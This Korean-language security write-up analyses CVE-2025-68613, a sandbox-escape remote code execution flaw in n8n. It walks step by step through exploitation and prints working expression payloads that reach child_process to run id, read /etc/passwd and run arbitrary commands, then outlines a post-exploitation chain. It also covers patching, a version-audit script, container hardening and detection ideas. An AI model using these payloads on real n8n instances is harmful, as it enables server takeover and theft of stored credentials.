
CVE-2025-68613 (n8n) 심각한 RCE 분석 + 방어 권장 사항 (패치 검증, 탐지 아이디어 및 강화 팁)
매트릭스 GIF
CVE-2025-68613는 n8n 워크플로우 자동화 플랫폼의 치명적인 원격 코드 실행 취약점으로, 인증된 공격자가 표현식 삽입을 통해 임의 시스템 명령을 실행할 수 있게 합니다.
n8n은 오픈소스 워크플로우 자동화 플랫폼으로, 400개 이상의 애플리케이션에 걸쳐 노코드/로우코드 통합을 가능하게 합니다. 다양한 분야에서 널리 배포됩니다.
| 🏢 사용 사례 | 📝 설명 |
|---|---|
| 🔧 DevOps |
🔓 취약점 체인:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 n8n 표현식 언어 → 동적 데이터 처리 │
│ ↓ │
│ ⚠️ 서버측 평가에서 샌드박스 격리 불충분 │
│ ↓ │
│ 💀 악의적 표현식이 샌드박스 이스케이프 │
│ ↓ │
│ 🖥️ Node.js child_process 모듈 접근 │
│ ↓ │
│ 💥 완전한 RCE - OS 명령 실행 │
└─────────────────────────────────────────────────────────────────┘
악용을 위한 전제 조건:
| # | 📋 요구 사항 | 📝 세부 사항 |
|---|---|---|
| 1️⃣ | 인증 | 유효한 n8n 사용자 계정 (낮은 권한으로 충분) |
| 2️⃣ | 권한 |
| 🏷️ 속성 | 📊 값 | 🔥 위험 |
|---|---|---|
| 복잡도 | 낮음 (AC:L) | 🔴 높음 |
| 사용자 상호작용 | 필요 없음 | 🔴 높음 |
graph TD
A[🔐 인증된 사용자] -->|생성| B[📝 새 워크플로우]
B -->|삽입| C[💀 악의적 표현식]
C -->|트리거| D[⚡ 표현식 평가]
D -->|악용| E[🔓 샌드박스 이스케이프]
E -->|접근| F[🖥️ Node.js 런타임]
F -->|실행| G[💥 OS 명령 via child_process]
G -->|달성| H[☠️ 완전한 서버 장악]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ 면책 조항: 다음 내용은 교육 목적으로만 제공됩니다. 허가되지 않은 악용은 불법입니다.
취약한 n8n 워크플로우 자동화 플랫폼에 초기 접근.
🔓 n8n 환영 대시보드 - 진입점
악성 페이로드를 포함할 새 워크플로우를 생성합니다.
📝 "첫 단계 추가"로 새 워크플로우 생성
워크플로우 트리거 구성 - 수동 트리거는 요청 시 실행을 허용합니다.
🎯 워크플로우 활성화를 위한 수동 트리거 선택
악성 표현식을 포함할 "Edit Fields (Set)" 노드를 추가합니다.
🔧 페이로드 삽입을 위한 "Edit Fields (Set)" 노드 추가
중요 단계 - RCE를 달성하기 위해 샌드박스 이스케이프 표현식을 삽입합니다.
💀 악성 표현식이 'id' 명령을 성공적으로 실행!
// 🔴 악성 페이로드 (불법적으로 사용하지 마세요)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
출력 결과: uid=1000(node) gid=1000(node) groups=1000(node) ✅ RCE 확인!
코드 인젝션 GIF
⚠️ 경고: 이 페이로드는 공인된 보안 테스트 용도로만 사용하세요. 허가되지 않은 사용은 불법입니다!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString(); })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString(); })() }}
💀 /etc/passwd 읽기 - 완전한 파일 시스템 접근 확인!
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 취약점 근본 원인 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ n8n 표현식 평가기는 함수 표현식이 다음에 접근하는 것을 방지하는 │
│ 검증기를 **누락**했습니다: │
│ │
│ ❌ this.process → Node.js 프로세스 객체 │
│ ❌ mainModule.require → 모듈 로딩 시스템 │
│ ❌ child_process → OS 명령 실행 │
│ │
│ 이로 인해 시스템 모듈에 직접 접근하고 임의 코드를 실행할 수 있습니다! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
# 🛡️ n8n을 패치된 버전으로 업그레이드
npm install -g n8n@latest
# 또는 Docker 사용 시
docker pull n8n/n8n:1.122.0
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n 버전 감사
echo "🔍 n8n 버전 확인 중..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ 취약: n8n $VER가 CVE-2025-68613에 영향을 받음"
echo "📦 필요: 1.120.4, 1.121.1 또는 1.122.0+로 업그레이드"
exit 2
else
echo "✅ 안전: n8n $VER는 패치됨"
fi
else
echo "❌ PATH에서 n8n을 찾을 수 없음"
fi
# 🛡️ 강화된 n8n 배포
FROM n8n/n8n:1.122.0
# 👤 루트가 아닌 사용자로 실행
USER node
# 🔒 다음 런타임 플래그 적용:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ 조치 | 📝 구현 |
|---|---|
| 🌐 네트워크 분할 | n8n 인스턴스 격리 |
| 🔥 WAF 규칙 | 표현식 패턴 모니터링 |
| 📜 감사 로깅 | 포괄적인 로깅 활성화 |
| 🔍 보안 검토 | 정기적인 워크플로우 평가 |
실행 전에 n8n 워크플로우 정의에서 표현식 삽입 시도를 식별하는 탐지 규칙을 어떻게 설계하시겠습니까? 합법적인 동적 표현식 사용과 보안 간의 균형을 고려해야 합니다.
보너스: 패치가 적용된 후에도 샌드박스 이스케이프가 발생할 경우 폭발 반경을 제한하기 위해 어떤 런타임 보호 조치를 구현하시겠습니까?
#CVE-2025-68613 #n8n #RCE #표현식-삽입 #워크플로우-자동화
#샌드박스-이스케이프 #CWE-913 #치명적-취약점 #침투테스트 #블루팀
⚠️ 면책 조항: 이 분석은 교육 및 방어적 보안 목적으로만 제공됩니다.
허가되지 않은 취약점 악용은 불법입니다.
⚡ 빠른 통계
|
🎯 주요 사실
|
| 속성 | 값 |
|---|
| 🆔 CVE ID | CVE-2025-68613 |
| 📊 CVSS 점수 | 9.9 (치명적) 🔴 |
| 🔗 CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913 (동적으로 관리되는 코드 리소스의 부적절한 제어) |
| 📦 영향받는 버전 | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ 패치된 버전 | 1.120.4, 1.121.1, 1.122.0+ |
| 자동화 파이프라인, CI/CD 통합 |
| 🛡️ 보안 운영 | SOAR 워크플로우, 침해 대응 |
| 💼 비즈니스 | 프로세스 자동화, 데이터 워크플로우 |
| 📊 데이터 | ETL 프로세스, API 통합 |
| 워크플로우 생성/편집 기능 |
| 3️⃣ | 네트워크 접근 | n8n 인스턴스에 도달 가능 |
| 범위 | 변경됨 | 🔴 치명적 |
| 🎯 페이로드 | 📋 예상 출력 |
|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | 전체 시스템 사용자 목록 (root, daemon, node 등) |
env | 모든 환경 변수 (비밀 포함) |
ls -la / | 루트 파일 시스템 목록 |
|
|
| 단계 | 🔥 동작 | 💀 영향 |
|---|
| 1️⃣ | 초기 접근 | n8n에 인증 |
| 2️⃣ | 실행 | 악성 워크플로우 제출 |
| 3️⃣ | 지속성 | 리버스 셸/백도어 배포 |
| 4️⃣ | C2 | 명령 및 제어 수립 |
| 5️⃣ | 행동 | 데이터 유출, 측면 이동 |
| 🎯 행동 | 💥 영향 수준 |
|---|
| 🔑 자격 증명 탈취 | API 키, OAuth 토큰, DB 비밀번호 추출 |
| 📤 데이터 유출 | 워크플로우 데이터, 실행 로그, 비즈니스 정보 |
| 🔒 지속성 | Cron 작업, 시작 스크립트, 웹 셸 |
| 🔀 측면 이동 | 데이터베이스, CI/CD, 클라우드 인프라로 피벗 |
| 🗑️ 워크플로우 조작 | 자동화 로직 수정/파괴 |
🔴 기밀성 (높음)
|
🟠 무결성 (높음)
|
🟡 가용성 (높음)
|
| # | 📋 방법 | 🔍 모니터링 대상 |
|---|
| 📜 | 로그 분석 | n8n 프로세스의 비정상 명령, 실패한 표현식 |
| 🌐 | 네트워크 | 알 수 없는 IP로의 아웃바운드 연결, 대용량 POST 요청 |
| ⚡ | 런타임 | child_process 호출, 예상치 못한 spawn |
| 📦 | 버전 감사 | 취약한 버전 범위 확인 |
| 🔢 우선순위 |
|---|
| 🛠️ 조치 |
|---|
| 📝 세부 사항 |
|---|
| 🔴 P0 | 지금 패치 | 1.120.4, 1.121.1 또는 1.122.0+로 업그레이드 |
| 🟠 P1 | 접근 제한 | 워크플로우 생성을 신뢰할 수 있는 사용자로 제한 |
| 🟡 P2 | 컨테이너 강화 | 보안 제한과 함께 배포 |
| 🔓 최소 권한 | 접근 제어 적용 |